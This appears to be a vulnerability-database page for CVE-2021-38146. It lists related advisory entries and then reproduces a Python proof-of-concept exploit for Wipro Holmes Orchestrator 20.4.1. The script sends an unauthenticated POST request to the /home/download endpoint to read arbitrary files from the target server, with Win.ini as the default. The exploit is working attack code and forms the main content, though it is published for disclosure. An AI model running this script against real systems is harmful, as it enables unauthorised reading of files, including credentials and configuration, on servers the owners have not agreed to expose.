| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download Exploit | 15 Nov 202100:00 | – | zdt | |
| CVE-2021-38146 | 7 Jun 202417:11 | – | circl | |
| Wipro Holmes Orchestrator 路径遍历漏洞 | 15 Nov 202100:00 | – | cnnvd | |
| CVE-2021-38146 | 22 Nov 202108:34 | – | cve | |
| CVE-2021-38146 | 22 Nov 202108:34 | – | cvelist | |
| Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download | 7 Jun 202603:02 | – | nuclei | |
| CVE-2021-38146 | 22 Nov 202109:15 | – | nvd | |
| Path traversal | 22 Nov 202109:15 | – | prion | |
| CVE-2021-38146 | 22 May 202521:26 | – | redhatcve |
`# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146
import requests as rq
import argparse
port = 8001 # change port if application is running on different port
def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}
hdr = {
"content-type": "application/json"
}
resp = rq.post(vuln_url, headers=hdr, json=data)
print resp.text
def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()
if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation